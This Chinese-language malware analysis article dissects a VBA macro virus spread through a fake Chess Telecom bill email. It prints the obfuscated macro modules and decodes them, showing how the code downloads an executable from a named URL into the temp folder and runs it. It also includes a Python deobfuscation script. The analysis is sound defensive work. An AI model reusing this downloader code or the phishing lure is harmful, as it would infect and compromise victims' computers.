1.通过邮件传播的宏病毒
近期流行的一个宏病毒通过邮件进行传播,捕捉到的一个样本,其邮件头如下:
邮件的内容是这样子的(为节省篇幅,省略号处省略部分内容):
Yourbillsummary Accountnumber:24583 InvoiceNumber:2398485 Billdate:July201***mount:£17.50 HowcanIviewmybills? YourChessbillisreadyandwaitingforyouonline.Tocheckoutyourdeta=ledbill,previousbillsandanychargesyou'veincurredsinceyourlastb=ll,justsignintoMyAccountwww.chesstelecom.com/myaccountForgottenyoursignindetails? Ifyou'veforgottenyoursignindetails,noproblem,youcanresettheseb=choosinghttp://www.chesstelecom.com/lost_password. Makingpaymentsiseasy! Ifyouwanttomakeacreditordebitcardpaymentyoucandoonlinebycho=singhttp://www.chesstelecom.com/online_payment Youdon'tneedtodoanythingifyoupaybydirectdebit,wewillcollecty=urpaymentautomaticallyonorafter30thJune.Ifyoupaybycheque,deta=lsofhowtopayusareavailableontheinvoice. SwitchtoDirectDebittodayandyou'llsaveatleast£60.00ayear,s=mplycallourdedicatedteamon08447706060. Anythingelseyou'dliketoknow? ...... Thise-mailhasbeensentfromaMailboxbelongingtoChessTelecom,registeredofficeBridgfordHouse,HeyesLane,AlderleyEdge,Cheshire,SK9=7JP. RegisteredinEngland,number2797895.Itscontentsareconfidentialtothe=20intendedrecipient. Ifyoureceiveinerror,pleasenotifyChessTelecomon +44(0)8000198900immediatelyquotingthenameofthesender,the +email addresstowhichithasbeensentandthendeleteit;youmaynotrelyoni=scontentsnorcopy/discloseittoanyone. Opinions,conclusionsandstatements ofintentinthisemailarethoseofthesenderandwillnotbindChessTel=comunlessconfirmedbyanauthorisedrepresentativeindependentlyofthismess=ge. Wedonotacceptresponsibilityforviruses;youmustscanforthese. Please notethatemailssenttoandfromChessTelecomareroutinelymonitoredfor=20recordkeeping,qualitycontrolandtrainingpurposes,toensureregulatory=20complianceandtopreventvirusesandunauthoriseduseofourcomputersystems. Thankyouforyourco-operation. Quotationsaresubjecttotermsandconditions,excludeVATandaresubjecttositesurvey. E&OE
上述邮件正文:描述内容看起来相当的可靠,里面的电话号码都是真实的,并且给出了具体的公司名称地址,而且这个公司还真是具体存在的,现在还不知道这个公司是否知道自己被人冒名干坏事儿了(有点绕口,但不是重点…),之所以这么逼真,只是恶意邮件发送者希望以此来降低受害者的防备意识。
2.提取宏代码
我们主要分析的邮件的附件,通过Outlook的保存功能可以将邮件中的附件2015-07-Bill.docm保存出来,我们分析需要用到一个工具OfficeMalScanner,可以到这里下载。
提取宏代码的步骤如下:
2.1 解压
OfficeMalScanner.exe 2015-07-Bill.docm inflate
解压后将会默认保存到C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\DecompressedMsOfficeDocument目录下面(WinXP SP3环境),解压后的目录大致如下:
│[Content_Types].xml │ ├─docProps │app.xml │core.xml │ ├─word ││document.xml ││fontTable.xml ││settings.xml ││styles.xml ││vbaData.xml ││vbaProject.bin ││webSettings.xml ││ │├─theme ││theme1.xml ││ │└─_rels │document.xml.rels │vbaProject.bin.rels │ └─_rels
上面的文档目录结构中可以发现在word目录下含有一个vbaProject.bin的文件,这就是宏文件代码所在的地方,需要注意的是vbaProject名字是可以任意取的,并不一定就是vbaProject(为默认的宏文件名字)。接下来从vbaProject.bin文件中提取宏代码。
2.2 提取
OfficeMalScanner.exe vbaProject.bin info
默认会在vbaProject.bin同目录下生成一个文件夹VBAPROJECT.BIN-Macros,里面存放有vba宏代码的各个模块。本案例中所提取到的各个文件如下:
Module1 Module2 Module35 Module4 ThisDocument
上面的文件都是vb代码,只不过去掉了后缀而已。接着的工作就是分析vb代码,看一下具体做了什么。#p#
3.代码分析
为了便于说明,并没有按照模块的顺序来说明。
3.1 Module2代码分析
Module2的代码如下:
1AttributeVB_Name="Module2" 2 3Functioninit() 4 5Setthisfrm=Forms("main") 6 7frmWidth=thisfrm.InsideWidth 8frmHeight=thisfrm.InsideHeight 9 10EndFunction 11PublicFunctionlLJrFk6pKsSYJ(L9QLFPTuZDwMAsString) 12L9QLFPTuZDwM=Replace(Replace(Replace(L9QLFPTuZDwM,Chr(60),""),Chr(61),""),Chr(59),"") 13SetlLJrFk6pKsSYJ=CreateObject(L9QLFPTuZDwM) 14EndFunction 15PrivateSubbutton_physical_inventory_Click() 16OnErrorGoToErr_button_physical_inventory_Click 17 18strSQLWhere=Me.combo_department_name.Value 19stDocName="physical_inventory" 20DoCmd.OpenReportstDocName,acPreview 21 22Exit_button_physical_inventory_Click: 23ExitSub 24 25Err_button_physical_inventory_Click: 26MsgBoxErr.Description 27ResumeExit_button_physical_inventory_Click 28 29EndSub
主要看[11-14]行代码,如下:
PublicFunctionlLJrFk6pKsSYJ(L9QLFPTuZDwMAsString) L9QLFPTuZDwM=Replace(Replace(Replace(L9QLFPTuZDwM,Chr(60),""),Chr(61),""),Chr(59),"") SetlLJrFk6pKsSYJ=CreateObject(L9QLFPTuZDwM) EndFunction
函数中的主要语句Replace(Replace(Replace(L9QLFPTuZDwM, Chr(60), ""), Chr(61), ""), Chr(59), ""),其中的Chr(60),chr(61),Chr(59)分别对应于<,=,;,这些就是被替换的字符,替换的字符是""(NULL,也就是删除了原有字符)。
因此本模块的主要功能,是提供一个解密函数lLJrFk6pKsSYJ(string),将string中的"<,=,;"删除得到真正的字符串。
3.2 模块Module1模块分析
Module1的代码如下:
1AttributeVB_Name="Module1" 2 3PrivateSubForm_Load() 4Me.RecordSource=strSQLInventory 5 6IfMe.boxes>0OrMe.pieces>0Then 7Me.total=(strInventoryCount*Me.boxes)+Me.pieces 8Else 9Me.total=Me.pieces 10EndIf 11 12EndSub 13 14PrivateSubboxes_LostFocus() 15IfMe.boxes>0Then 16Me.total=strInventoryCount*Me.boxes 17EndIf 18EndSub 19 20PublicFunctionFlvXHsDrWT3aY(yXhBaz0XRAsVariant,c7e410X3QqAsString) 21DimNLobhieCn4Xt:SetNLobhieCn4Xt=lLJrFk6pKsSYJ("A"&Chr(60)&Chr(100)&Chr(111)&Chr(59)&Chr(100)&Chr(98)&Chr(61)&Chr(46)&Chr(83)&Chr(116)&Chr(61)&Chr(114)&Chr(60)&"e"&Chr(97)&Chr(59)&"m") 22 23WithNLobhieCn4Xt 24.Type=1 25.Open 26.writeyXhBaz0XR 27EndWith 28NLobhieCn4Xt.savetofilec7e410X3Qq,2 29EndFunction 30PrivateSubpieces_LostFocus() 31IfMe.boxes>0OrMe.pieces>0Then 32Me.total=(strInventoryCount*Me.boxes)+Me.pieces 33Else 34Me.total=Me.pieces 35EndIf 36EndSub 37 38PrivateSubbtn_save_Click() 39DoCmd.Save 40EndSub
主要看[20-29]代码段,如下:
PublicFunctionFlvXHsDrWT3aY(yXhBaz0XRAsVariant,c7e410X3QqAsString) DimNLobhieCn4Xt:SetNLobhieCn4Xt=lLJrFk6pKsSYJ("A"&Chr(60)&Chr(100)&Chr(111)&Chr(59)&Chr(100)&Chr(98)&Chr(61)&Chr(46)&Chr(83)&Chr(116)&Chr(61)&Chr(114)&Chr(60)&"e"&Chr(97)&Chr(59)&"m") WithNLobhieCn4Xt .Type=1 .Open .writeyXhBaz0XR EndWith NLobhieCn4Xt.savetofilec7e410X3Qq,2 EndFunction
主要提供一个函数FlvXHsDrWT3aY(yXhBaz0XR=字节数组,c7e410X3Qq=文件名),其语句为:
lLJrFk6pKsSYJ("A"&Chr(60)&Chr(100)&Chr(111)&Chr(59)&Chr(100)&Chr(98)&Chr(61)&Chr(46)&Chr(83)&Chr(116)&Chr(61)&Chr(114)&Chr(60)&"e"&Chr(97)&Chr(59)&"m")
可以看到这里采用了Module2中的解密函数lLJrFk6pKsSYJ,对加密的字符串进行解密后使用。我们已经知道了lLJrFk6pKsSYJ函数的作用,因此手工解密后得到:
A<do;db=.St=r<ea;m
删除其中的"空格 ; < =",得到真正的命令:Adodb.Stream。进一步分析可以得到该函数的作用为:
采用adodb.stream流,将字节数组写入指定文件中。
稍后我将会提供一个Python脚本对这些命令进行解密,还原出宏代码的真正命令。#p#
3.3 Module4模块分析
1AttributeVB_Name="Module4"
2
3PublicctlWidthAsInteger
4PublicctlHeightAsInteger
5PublicaDPbd2byZbAsString
6PublicstrSQLBaseAsString'querybase
7PublicobjSearchFormAsString'requireformname
8PublicobjInputCodeAsString'textfieldforproductcodeentry
9PublicobjInputNameAsString'textfieldforproductnameentry
10PublicsearchCodeAsString
11PublicsearchNameAsString
12PubliccolS1AsString'columntosearch
13PubliccolS2AsString'columntosearch
14
15Functionsearch_records()
16
17'checkformcontrolsiftheyhaveuserinput
18IfNotIsNull(Forms(objSearchForm).Controls(objInputCode))Then
19searchCode=Forms(objSearchForm).Controls(objInputCode)
20Else
21searchCode=""
22EndIf
23
24IfNotIsNull(Forms(objSearchForm).Controls(objInputName))Then
25searchName=Forms(objSearchForm).Controls(objInputName)
26Else
27searchName=""
28EndIf
29
30'mainsearchlogic
31If(searchCode=""AndsearchName="")Or(IsNull(searchCode)AndIsNull(searchName))Then
32strSQLSearch=strSQLBase
33ElseIf(NotIsNull(searchCode)=True)And(NotIsNull(searchName)=True)Then
34strSQLSearch=strSQLBase&"WHERE"&colS1&"LIKE'"&searchCode&"*'AND"&colS2&"LIKE'*"&searchName&"*'"
35ElseIfNotIsNull(searchCode)Then
36strSQLSearch=strSQLBase&"WHERE"&colS1&"LIKE'"&searchCode&"*'"
37ElseIfNotIsNull(searchName)Then
38strSQLSearch=strSQLBase&"WHERE"&colS2&"LIKE'*"&searchName&"*'"
39Else
40MsgBox"Pleaseprovidedetailstosearch"
41ExitFunction
42EndIf
43
44Forms(objSearchForm).RecordSource=strSQLSearch
45
46EndFunction
47Functioncontrol_set_left(controlNameAsString)
48
49thisfrm.Controls(controlName).Left=720
50
51EndFunction
52
53SubLWS8UPvw1QGKq()
54
'下载地址:Nrh1INh1S5hGed="http://laboaudio.com/4tf33w/w4t453.exe".
55Nrh1INh1S5hGed=Chr(104)&Chr(116)&Chr(61)&Chr(116)&Chr(112)&Chr(58)&Chr(47)&Chr(59)&Chr(47)&Chr(108)&Chr(97)&Chr(98)&Chr(111)&"a"&Chr(60)&Chr(117)&"d"&Chr(105)&Chr(111)&Chr(46)&Chr(61)&Chr(99)&Chr(111)&Chr(109)&Chr(47)&Chr(52)&Chr(116)&Chr(102)&Chr(51)&Chr(51)&Chr(119)&Chr(47)&Chr(60)&Chr(119)&Chr(52)&Chr(116)&Chr(52)&Chr(53)&Chr(51)&Chr(46)&Chr(59)&"e"&Chr(61)&Chr(120)&Chr(101)
'下载方式:LhZitls7wPn=Microsoft.XMLHTTP
56SetLhZitls7wPn=lLJrFk6pKsSYJ("M"&"i"&Chr(60)&Chr(99)&Chr(114)&Chr(111)&Chr(61)&"s"&Chr(111)&"f"&Chr(116)&";"&Chr(46)&"X"&Chr(77)&Chr(60)&"L"&Chr(59)&Chr(72)&"T"&Chr(61)&Chr(84)&"P")
57
58Nrh1INh1S5hGed=Replace(Replace(Replace(Nrh1INh1S5hGed,Chr(60),""),Chr(61),""),Chr(59),"")
'使用CallByName进行下载:CallByNameMicrosoft.XMLHTTPOpenhttp://laboaudio.com/4tf33w/w4t453.exe
59CallByNameLhZitls7wPn,Chr(79)&Chr(112)&Chr(101)&Chr(110),VbMethod,Chr(71)&Chr(69)&Chr(84),_
60Nrh1INh1S5hGed_
61,False
62
'vu2Wh85645xcP0=WScript.Shell
63Setvu2Wh85645xcP0=lLJrFk6pKsSYJ(Chr(87)&"<"&Chr(83)&"c"&Chr(61)&Chr(114)&"i"&Chr(112)&"t"&Chr(59)&Chr(46)&Chr(83)&"="&Chr(104)&"e"&"<"&"l"&Chr(108))
64
'获取查询环境变量的句柄:GhbwRqU9OkbF=CallByName(WScript,Environmentrocess)
65SetGhbwRqU9OkbF=CallByName(vu2Wh85645xcP0,Chr(69)&Chr(110)&"v"&Chr(105)&Chr(114)&Chr(111)&"n"&"m"&Chr(101)&Chr(110)&Chr(116),VbGet,Chr(80)&"r"&"o"&Chr(99)&"e"&Chr(115)&"s")
66
'取得临时目录的路径:GhbwRqU9OkbF(TEMP)
67SD3q5HdXxoiA=GhbwRqU9OkbF(Chr(84)&Chr(69)&Chr(77)&Chr(80))
68
'下载的恶意程序存放路径:aDPbd2byZb=%TEMP%\fghgkbb.exe
69aDPbd2byZb=SD3q5HdXxoiA&"\"&Chr(102)&Chr(103)&Chr(104)&Chr(103)&Chr(107)&Chr(98)&Chr(98)&Chr(46)&"e"&"x"&Chr(101)
70DimbvGEpxCVsZ()AsByte
71
'发送请求:CallByNameMicrosoft.XMLHTTPsendVbMethod
72CallByNameLhZitls7wPn,Chr(83)&Chr(101)&Chr(110)&Chr(100),VbMethod
'获取响应体:CallByNameMicrosoft.XMLHTTPresponseBodyVbGet
73bvGEpxCVsZ=CallByName(LhZitls7wPn,"r"&"e"&Chr(115)&Chr(112)&Chr(111)&Chr(110)&Chr(115)&Chr(101)&Chr(66)&Chr(111)&Chr(100)&"y",VbGet)
'使用adodb.stream流,将bvGEpxCVsZ字节流写入到文件aDPbd2byZb中
'将字节数组bvGEpxCVsZ写入文件aDPbd2byZb'
'这里涉及到了模块Module1中的函数FlvXHsDrWT3aY(字节数组,文件名)
74FlvXHsDrWT3aYbvGEpxCVsZ,aDPbd2byZb
75OnErrorGoToOhXhZLRKh
76a=84/0
77OnErrorGoTo0
78
79xrIvr6mOXvFG:
80ExitSub
81OhXhZLRKh:
82ENMD3t8EY4A("UfBPGay4VPJi")
83ResumexrIvr6mOXvFG
84EndSub
85Functioncontrol_set_right(controlNameAsString)
86
87ctlWidth=thisfrm.Controls(controlName).Width
88thisfrm.Controls(controlName).Left=frmWidth-ctlWidth-720
89
90EndFunction
91
92Functioncontrol_set_center(controlNameAsString)
93
94ctlWidth=thisfrm.Controls(controlName).Width
95thisfrm.Controls(controlName).Left=(frmWidth/2)-(ctlWidth/2)
96
97
98EndFunction
主要看[53-90]行,分析函数LWS8UPvw1QGKq的作用,为了了解这个函数到底干了什么,我们需要对其解密,上面的两个模块由于函数较短,可以进行手工解密,然而由于这个模块中要解密的太多,
手工解密显然是一种繁琐效率低下的方式,故给出如下Python代码(Python3):
importsys importio importre sys.stdout=io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8') defdecryptstr(s): cmd='' cmdlst=s.strip().split('&') pat=re.compile(r"Chr\([0-9]*\)") foritemincmdlst: if'Chr'initem: beg,end=item.find('('),item.find(')') numstr=item[beg+1:end] cmd+=chr(int(numstr)) else: cmd+=item.replace('"','') cmd=cmd.replace('','') cmd=cmd.replace('=','') cmd=cmd.replace(';','') cmd=cmd.replace('<','') print(cmd) ss=input("InputString:") whilelen(ss)!=0: print(decryptstr(ss)) ss=input("InputString:")
代码比较少也比较简单,就没有写注释了。用法看下图就可以了:
;
Input String:后面粘贴上要解密的字符串,然后回车就可以得到解密后的字符串。
代码中也加入了注释,理解这块代码应该不难。可以知道该模块从http://laboaudio.com/4tf33w/w4t453.exe下载得到恶意程序w4t453.exe,以fghgkbb.exe文件名保存到临时目录。
3.4 ThisDocument模块分析
该模块主要代码如下(不像上面都给出了完整代码,而是仅仅给出了核心代码,如果希望查看完整代码的,可以到文末下载附件):
PublicFunctionENMD3t8EY4A(Ka0YAlL82qAsString) 'Shell.Application:创建了一个shell对象 SetCYgAH0pzCPj0eA=lLJrFk6pKsSYJ(Chr(83)&Chr(104)&"="&Chr(101)&Chr(108)&Chr(59)&Chr(108)&Chr(60)&Chr(46)&Chr(65)&Chr(112)&Chr(59)&Chr(112)&Chr(108)&"i"&Chr(60)&"c"&"a"&Chr(116)&Chr(61)&Chr(105)&Chr(111)&Chr(110)) WithCYgAH0pzCPj0eA 'open(C:\DOCUME~1\USERNAME\LOCALS~1\Temp\fghgkbb.exe):启动恶意程序 .Open(aDPbd2byZb) EndWith EndFunction
也就是启动下载的恶意程序。
另外,还有一个Module35模块,我没有进行说明,因为Module35基本上没有提供有用的信息,可以忽略,并不影响我们分析该宏的功能。
4.结论
至此,我们可以知道,该宏代码通过邮件进行传播,当用户使用word打开邮件中的附件,启用宏代码的时候,恶意代码将会首先到http://laboaudio.com/4tf33w/下载w4t453.exe到受害者的临时目录,保存的名字为fghgkbb.exe,然后启动该恶意程序。这个时候用户就中病毒了。
文末,还是提醒一下大家,对于陌生邮件,一定要慎重的打开,很多人对于邮件,什么都没有想,就直接打开邮件了。在本案例中是通过附件word中的宏代码进行感染,但是有的恶意程序直接在你打开邮件的时候就感染上病毒了。
另外由于Office安全机制的提升,在Word2007版本以上,打开一个有宏文件的文档时,会提示是否启用,这个时候不要随意选择启用(可能这看起来是废话,但是很多人下意识就去点击了启用)。
如果你希望自己亲自分析一下,你可以到这里下载本案例中的邮件。解压密码为:freebuf
希望本文对信息安全行业的人员有所帮助。
转载请注明:IT运维空间 » 安全防护 » 技术分析:一款流行的VBA宏病毒
发表评论